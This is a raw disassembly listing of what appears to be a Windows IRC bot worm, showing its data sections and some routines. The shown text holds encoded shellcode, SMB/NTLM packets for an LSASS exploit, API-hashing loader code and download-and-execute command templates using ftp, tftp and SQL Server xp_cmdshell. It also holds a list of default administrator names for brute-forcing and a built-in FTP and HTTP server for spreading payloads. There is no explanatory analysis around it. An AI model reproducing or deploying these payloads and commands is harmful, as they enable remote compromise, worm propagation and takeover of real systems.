dd 999B9E5Eh
dword_425810 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh
; DATA XREF: sub_40384C+105o
dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h
dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h
dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_4258F8 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
; DATA XREF: sub_403C8B+85o
dd 0FEFF0000h, 0
dd 2006200h
aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWor_0 db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_425984 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_403C8B+B1o
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows20002_0:
unicode 0, <Windows 2000 2195>,0
aWindows20005_1:
unicode 0, <Windows 2000 5.0>,0
align 10h
dword_425A30 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_403C8B+D8o
dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
dd 0
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dword_425B10 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40384C+58o
dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch
dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h
dd 5C0030h, 500049h
aC_0: ; DATA XREF: sub_40384C+8Ao
unicode 0, <C$>,0
a?????_0 db '?????',0
dd 0
dword_425B74 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40384C+2AAo
dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0
dd 2019Fh, 3 dup(0)
dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h
dd 0
dword_425BE0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40384C+2D1o
dd 4DC0800h, 500800h, 48000010h, 0
dd 4, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h
dd 5C0045h, 0
dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_425C84 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40384C+3B0o
dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h
dd 5C0045h, 0
dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
dd 3ECh, 0
off_425D04 dd offset loc_401495 ; DATA XREF: sub_40384C+3DEo
dd 3, 40707Ch, 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40707B+1
dd 1, 0
dd 1, 0
dd offset loc_40707B+1
dd 1, 0
dd 1, 0
dd offset loc_40707B+1
dd 1, 0
dd 1, 0
dd 138578h, 0E9A65BABh, 0
dword_425D98 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40384C+306o
dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h
dd 8FFFFFFh, 10B800h, 4010B800h, 0
dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h
dd 0DADh, 0
dd 0DADh, 0
dword_425E04 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40384C+331o
dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h
dd 5C0045h, 0
dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_425E78 dd 0 ; DATA XREF: sub_40384C+35Fo
dd offset loc_40A89A
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40A89A
dd 1, 0
dd 1, 0
dd offset loc_40A89A
dd 1, 0
dd 1, 0
dd offset loc_40A89A
dd 1, 0
dd 1, 3 dup(0)
aWinxpProfess_0 db 'WinXP Professional [universal] lsass.exe ',0
align 8
dword_425F38 dd 1004600h ; DATA XREF: sub_40384C+140r
; sub_40384C+245r
dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
dd 6C6C642Eh, 2 dup(0)
dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
dd 70617274h, 6C6C642Eh, 2 dup(0)
dd 751C123Ch, 0Fh dup(0)
aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
; DATA XREF: sub_4036EB+BEo
; sub_4051BC+9Do
db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
align 4
aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_4036EB+97o
aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_404108+B2o
align 4
dword_42607C dd 10FF8h, 0 ; DATA XREF: sub_404108+6Ao
dword_426084 dd 10FF8h ; DATA XREF: sub_404108+79o
dword_426088 dd 7FFDF020h, 0 ; DATA XREF: sub_404108+162o
dword_426090 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_404532+7Bo
dd 13370000h, 0
dd 2006200h
aPcNetworkPro_1 db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWor_1 db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_426118 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_404532+34o
dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 2 dup(0)
dword_426148 dd 0 ; DATA XREF: sub_404532+44o
dd 800000D4h, 0
unk_426154 db 81h ; ; DATA XREF: sub_40460C+Ao
db 2 dup(0), 44h
aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0
align 10h
byte_4261A0 db 41h ; DATA XREF: sub_4046AA+107r
aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
align 4
; =============== S U B R O U T I N E =======================================
sub_4261E4 proc near ; DATA XREF: .nsp0:00404987o
push ebx
push esi
push edi
sub sp, 80h
mov esi, esp
call sub_4262E0
push dword ptr [esi]
push 63D61209h
call sub_4262F6
mov [esi+8], eax
call sub_4262A9
push dword ptr [esi+4]
push 0CA2BD06Bh
call sub_4262F6
mov [esi+0Ch], eax
call sub_42625B
push dword ptr [esi+4]
push 4C0297FAh
call sub_4262F6
xor ebx, ebx
push 410h
push ebx
call eax
mov ebx, eax
push esi
mov esi, [esi+10h]
mov edi, eax
mov ecx, 410h
rep movsb
pop esi
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
push eax
call dword ptr [esi+0Ch]
mov eax, [esi+8]
add sp, 80h
pop edi
pop esi
pop ebx
jmp eax
sub_4261E4 endp
; =============== S U B R O U T I N E =======================================
sub_42625B proc near ; CODE XREF: sub_4261E4+33p
var_20 = dword ptr -20h
var_14 = dword ptr -14h
pusha
call sub_426284
mov eax, [esp+20h+var_14]
lea ebx, [eax+7Ch]
add dword ptr [ebx+3Ch], 5
add dword ptr [ebx+28h], 1000h
and dword ptr [ebx+28h], 0FFFFF000h
mov eax, [esp+20h+var_20]
add esp, 14h
push eax
xor eax, eax
retn
sub_42625B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_426284 proc near ; CODE XREF: sub_42625B+1p
xor edx, edx
push dword ptr fs:[edx]
mov fs:[edx], esp
xor ebx, ebx
mov eax, 42904290h
loc_426293: ; CODE XREF: sub_426284+1Aj
xor ecx, ecx
mov cl, 2
mov edi, ebx
repe scasd
jz short loc_4262A0
inc ebx
jmp short loc_426293
; ---------------------------------------------------------------------------
loc_4262A0: ; CODE XREF: sub_426284+17j
mov [esi+10h], edi
pop dword ptr fs:[edx]
pop eax
popa
retn
sub_426284 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4262A9 proc near ; CODE XREF: sub_4261E4+1Ep
pusha
mov edi, 7FFDF020h
mov ebx, [edi]
mov eax, [esi+8]
mov [edi], eax
mov edi, [edi-8]
add edi, 178h
mov ecx, edi
loc_4262C1: ; CODE XREF: sub_4262A9+1Ej
cmp [ecx], ebx
jz short loc_4262C9
mov ecx, [ecx]
jmp short loc_4262C1
; ---------------------------------------------------------------------------
loc_4262C9: ; CODE XREF: sub_4262A9+1Aj
mov edx, edi
loc_4262CB: ; CODE XREF: sub_4262A9+2Aj
cmp [edx+4], ebx
jz short loc_4262D5
mov edx, [edx+4]
jmp short loc_4262CB
; ---------------------------------------------------------------------------
loc_4262D5: ; CODE XREF: sub_4262A9+25j
mov [ecx], edx
mov [edx+4], ecx
mov byte ptr [ebx-3], 1
popa
retn
sub_4262A9 endp
; =============== S U B R O U T I N E =======================================
sub_4262E0 proc near ; CODE XREF: sub_4261E4+Ap
mov eax, ds:7FFDF00Ch
mov eax, [eax+1Ch]
mov ebx, [eax+8]
mov [esi], ebx
mov eax, [eax]
mov eax, [eax+8]
mov [esi+4], eax
retn
sub_4262E0 endp
; =============== S U B R O U T I N E =======================================
sub_4262F6 proc near ; CODE XREF: sub_4261E4+16p
; sub_4261E4+2Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov ebp, [esp+20h+arg_4]
mov eax, [ebp+3Ch]
mov edx, [ebp+eax+78h]
add edx, ebp
mov ecx, [edx+18h]
mov ebx, [edx+20h]
add ebx, ebp
loc_42630C: ; CODE XREF: sub_4262F6+33j
jecxz short loc_426346
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor edi, edi
xor eax, eax
cld
loc_426319: ; CODE XREF: sub_4262F6+2Dj
lodsb
cmp al, ah
jz short loc_426325
ror edi, 0Dh
add edi, eax
jmp short loc_426319
; ---------------------------------------------------------------------------
loc_426325: ; CODE XREF: sub_4262F6+26j
cmp edi, [esp+20h+arg_0]
jnz short loc_42630C
mov ebx, [edx+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edx+1Ch]
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
mov [esp+20h+var_4], eax
popa
retn 8
; ---------------------------------------------------------------------------
loc_426346: ; CODE XREF: sub_4262F6:loc_42630Cj
; sub_4262F6:loc_426346j
jmp short loc_426346
sub_4262F6 endp
; ---------------------------------------------------------------------------
dd 0
; =============== S U B R O U T I N E =======================================
sub_42634C proc near ; DATA XREF: .nsp0:00404937o
arg_0 = dword ptr 4
add esp, 0FFFFF254h
cld
call sub_42639E
mov eax, [ebp+3Ch]
mov edi, [ebp+eax+78h]
add edi, ebp
mov ecx, [edi+18h]
mov ebx, [edi+20h]
add ebx, ebp
loc_426369: ; CODE XREF: sub_42634C+38j
jecxz short loc_426399
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor eax, eax
cdq
loc_426374: ; CODE XREF: sub_42634C+32j
lodsb
test al, al
jz short loc_426380
ror edx, 0Dh
add edx, eax
jmp short loc_426374
; ---------------------------------------------------------------------------
loc_426380: ; CODE XREF: sub_42634C+2Bj
cmp edx, [esp+arg_0]
jnz short loc_426369
mov ebx, [edi+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edi+1Ch]
add ebx, ebp
mov ebx, [ebx+ecx*4]
add ebx, ebp
loc_426399: ; CODE XREF: sub_42634C:loc_426369j
mov [esp+arg_0], ebx
retn
sub_42634C endp
; =============== S U B R O U T I N E =======================================
sub_42639E proc near ; CODE XREF: sub_42634C+7p
; FUNCTION CHUNK AT 004263D6 SIZE 00000007 BYTES
xor eax, eax
mov eax, fs:[eax+30h]
test eax, eax
js short loc_4263B7
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8]
jmp loc_4263C2
; ---------------------------------------------------------------------------
loc_4263B7: ; CODE XREF: sub_42639E+8j
mov eax, [eax+34h]
add eax, 7Ch
mov ebp, [eax+3Ch]
loc_4263C2: ; CODE XREF: sub_42639E+14j
pop edi
xor esi, esi
pusha
push esi
jmp short loc_4263D6
sub_42639E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4263C9 proc near ; CODE XREF: sub_42639E:loc_4263D6p
push 60E0CEEFh
push 0E8AFE98h
push edi
jmp edi
sub_4263C9 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42639E
loc_4263D6: ; CODE XREF: sub_42639E+29j
call sub_4263C9
loc_4263DB: ; DATA XREF: sub_4040AD+1Bo
; sub_40CE55+819o ...
add [ebx], ah
; END OF FUNCTION CHUNK FOR sub_42639E
; ---------------------------------------------------------------------------
db 3 dup(0)
dword_4263E0 dd 60h ; DATA XREF: sub_404108+320o
dword_4263E4 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_404108+2F5o
dword_4263F0 dd 30h ; DATA XREF: sub_404108+2CAo
; .nsp0:0042C5C8o ...
dword_4263F4 dd 0A1h ; DATA XREF: sub_404108+29Fo
dword_4263F8 dd 3 ; DATA XREF: sub_404108+246o
aCccc db 'CCCC',0 ; DATA XREF: sub_404108+153o
align 4
loc_426404: ; DATA XREF: sub_404108+E8o
jmp short near ptr dword_42640C
; ---------------------------------------------------------------------------
db 6 dup(90h)
dword_42640C dd 0 ; CODE XREF: .nsp0:loc_426404j
dword_426410 dd 2F2F7325h, 2E732520h, 0 ; DATA XREF: .nsp0:00404AD5o
aCmdKEchoOpenSD db 'cmd /k echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
; DATA XREF: .nsp0:0040495Co
db 'echo quit >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
aExecMaster___0 db 'EXEC master..xp_cmdshell ',27h,'%s',27h,0 ; DATA XREF: sub_404F08+1ACo
align 4
; aExecMaster(long long, *)
aExecMaster__xp db 'EXEC master..xp_cmdshell ',27h,'del eq&echo open %s %d >> eq&echo us'
; DATA XREF: sub_404F08+178o
db 'er %d %d >> eq &echo get %s >> eq &echo quit >> eq &ftp -n -s:eq '
db '&%s&del eq',0Dh,0Ah
db 27h,0
align 4
aDriverSqlServe db 'DRIVER={SQL Server};SERVER=%s,%d;UID=%s;PWD=%s;%s',0
; DATA XREF: sub_404F08+E4o
align 10h
aAdmins db 'admins',0 ; DATA XREF: sub_404F08+47o
; .nsp0:0042C328o
align 4
aAdministrater db 'administrater',0 ; DATA XREF: sub_404F08+40o
align 4
aAdministrador db 'administrador',0 ; DATA XREF: sub_404F08+39o
; .nsp0:0042C31Co
align 4
aAdministrator db 'administrator',0 ; DATA XREF: sub_404F08+32o
; .nsp0:0042C318o ...
align 4
aAdmin db 'admin',0 ; DATA XREF: sub_404F08+2Bo
; .nsp0:0042C32Co
align 10h
aRoot db 'root',0 ; DATA XREF: sub_404F08+24o
; .nsp0:0042C334o ...
align 4
aSa db 'sa',0 ; DATA XREF: sub_404F08+19o
align 4
dword_4265BC dd 0C933FA8Bh, 909035B2h, 0C1816690h, 0C7830138h
; DATA XREF: .nsp0:00405393o
db 1Ah
; ---------------------------------------------------------------------------
loc_4265CD: ; CODE XREF: .nsp0:004265D4j
mov bl, [edi]
xor bl, dl
mov [edi], bl
inc edi
loop loc_4265CD
ficom word ptr [esi]
dec edi
pop esp
aaa
xor [ecx+6Ch], bl
; ---------------------------------------------------------------------------
dw 28CDh
dd 0E4B9EBA9h, 36E14579h, 151512C5h, 66623D05h, 7066A07h
dd 7979711Bh, 0DD30DE34h, 0CACACACCh, 1FD8B668h, 516C055Fh
dd 75BE34BEh, 2945BE39h, 3D4DBE98h, 0BE096AB8h, 0BECE342Eh
dd 0CE344D6Eh, 34297EBEh, 1166BECCh, 6466CF34h, 156EBE67h
dd 0FC04CE34h, 0ACF50474h, 34BE01BEh, 0F70499CBh, 0F5B1D7E4h
dd 833AC240h, 71B83070h, 0C533170h, 53D44025h, 6D6F2504h
dd 6765636Bh, 74257B1Eh, 7F39823Ah, 34BD31BEh, 78833ACDh
dd 0B871BC30h, 3078CBEDh, 78CB8B40h, 0CB144131h, 68B81778h
dd 0E5CA662Dh, 315FF2BCh, 3070BD6Dh, 3F4270B5h, 0B54168B8h
dd 0DC21135Eh, 0CACACA4Dh, 0EE04FBBCh, 66666666h, 0CA637363h
dd 6D60A2E5h, 5F05BC53h, 0CA626025h, 637BE160h, 0F960CA62h
dd 0CA626066h, 0B8A2E560h, 0CA65BD70h, 6060D160h, 0B8DD60CAh
dd 0A1393071h, 501B5D66h, 695D504Dh, 0A1515856h, 70B8E704h
dd 6262A1F9h, 0CB666662h, 67C734F3h, 4D70B8A1h, 0BD70B865h
dd 663D8465h, 0CB255F66h, 666667FBh, 60CA6066h, 0CACA5FD9h
dd 0D560h
word_426710 dw 7A69h ; DATA XREF: sub_4051BC+30r
align 4
a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_405409+5CDo
aQuit db 'QUIT',0 ; DATA XREF: sub_405409+5B9o
; sub_40CE55+534o
align 4
a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0
; DATA XREF: sub_405409+5ACo
align 4
dword_42675C dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
; DATA XREF: sub_405409+561o
dd 2029206Ch, 2BBBB02h
aFileSentToSOnP db ' File sent to %s on port %d, now executing %s on remote machine.'
db 0
align 4
a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_405409+542o
a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0
; DATA XREF: sub_405409+516o
align 10h
aRetr db 'RETR',0 ; DATA XREF: sub_405409+4FEo
align 4
a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_405409+4E9o
align 4
aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_405409+4D8o
aXX db '%x%x',0Ah,0 ; DATA XREF: sub_405409+4A5o
align 4
aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_405409+464o
db ']',0
aPort db 'PORT',0 ; DATA XREF: sub_405409+42Bo
align 4
a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_405409+3FDo
align 4
aList db 'LIST',0 ; DATA XREF: sub_405409+3EAo
align 4
a425PassiveNotS db '425 Passive not supported on this server',0Ah,0
; DATA XREF: sub_405409+3AFo
align 4
aPasv db 'PASV',0 ; DATA XREF: sub_405409+39Co
align 10h
a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_405409+38Co
aI: ; DATA XREF: sub_405409+378o
unicode 0, <I>,0
a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_405409+351o
aA: ; DATA XREF: sub_405409+33Do
unicode 0, <A>,0
aType db 'TYPE',0 ; DATA XREF: sub_405409+326o
; sub_405409+361o
align 4
a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_405409+316o
align 4
off_426918 dd offset dword_445750 ; DATA XREF: sub_405409+302o
a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_405409+2F2o
align 10h
aRest db 'REST',0 ; DATA XREF: sub_405409+2DEo
align 4
a215Fuckftpd db '215 fuckFtpd',0Ah,0 ; DATA XREF: sub_405409+2CEo
align 4
aSyst db 'SYST',0 ; DATA XREF: sub_405409+2BAo
align 10h
a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_405409+2AAo
align 4
aPass db 'PASS',0 ; DATA XREF: sub_405409+296o
align 10h
a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_405409+286o
align 4
aUser_0 db 'USER',0 ; DATA XREF: sub_405409+271o
; .nsp0:0042C364o ...
align 10h
aSS db '%s %s',0 ; DATA XREF: sub_405409+260o
align 4
a220Fuckftpd0wn db '220 fuckFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_405409+1D8o
align 10h
aRb db 'rb',0 ; DATA XREF: sub_405A89+24o
; sub_406C3E+12Eo ...
align 4
unk_4269B4 db 2 ; DATA XREF: sub_405B23+3F8o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorServerFai db 'Error: server failed, returned: <%d>.',0
align 4
asc_4269FC db 0Dh,0Ah,0 ; DATA XREF: sub_405B23+2CFo
align 10h
asc_426A00: ; DATA XREF: sub_405B23+293o
; sub_40CE55+A8o ...
unicode 0, < >,0
aGet db 'GET ',0 ; DATA XREF: sub_405B23+269o
align 4
aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F7E+F6o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Content-Length: %i',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F7E+D3o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_405F7E+97o
; sub_40AAD1+1AEo
align 4
aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_405F7E+83o
align 4
aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_405F7E:loc_405FE3o
align 4
aTextHtml db 'text/html',0 ; DATA XREF: sub_405F7E+5Eo
align 10h
unk_426C20 db 2 ; DATA XREF: sub_406100+28Fo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0
unk_426C6C db 2 ; DATA XREF: sub_406100+20Bo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aWorkerThreadOf db 'Worker thread of server thread: %d.',0
asc_426CB0: ; DATA XREF: sub_406100+157o
; .nsp0:0042E00Co
unicode 0, <*>,0
asc_426CB4: ; DATA XREF: sub_406100+FBo
; sub_4063B0+29o ...
dw 0Ah
unicode 0, <>,0
aSS_2 db '%s%s',0 ; DATA XREF: sub_406100+EAo
; sub_4063B0+4CAo ...
align 10h
aS_1 db '%s',0 ; DATA XREF: sub_406100+3Ao
; sub_40A621+4Co ...
align 4
aS_2 db '\%s',0 ; DATA XREF: sub_406100+2Fo
aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0
; DATA XREF: sub_4063B0+64Eo
align 10h
aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_4063B0+633o
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah
db '</TABLE>',0Dh,0Ah
db '</BODY>',0Dh,0Ah
db '</HTML>',0Dh,0Ah,0
align 4
aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
; DATA XREF: sub_4063B0+618o
align 4
a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_4063B0+589o
align 4
aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_4063B0+561o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_4063B0:loc_4068C8o
align 4
aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_4063B0+511o
align 4
aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_4063B0+471o
align 4
a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_4063B0+434o
align 4
aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_4063B0+401o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_4063B0:loc_406772o
align 4
aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_4063B0+3BBo
align 4
aSS_0 db '%s%s/',0 ; DATA XREF: sub_4063B0+374o
align 4
aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_4063B0+330o
; sub_4063B0+486o
db '<TD WIDTH="%d"><A HREF="',0
align 4
aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_4063B0+30Eo
align 10h
aS_0 db '<%s>',0 ; DATA XREF: sub_4063B0+2E4o
; sub_4063B0+413o
align 4
a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_4063B0+2BAo
aAm db 'AM',0 ; DATA XREF: sub_4063B0+290o
align 4
aPm db 'PM',0 ; DATA XREF: sub_4063B0+285o
align 10h
a__0: ; DATA XREF: sub_4063B0+24Do
unicode 0, <.>,0
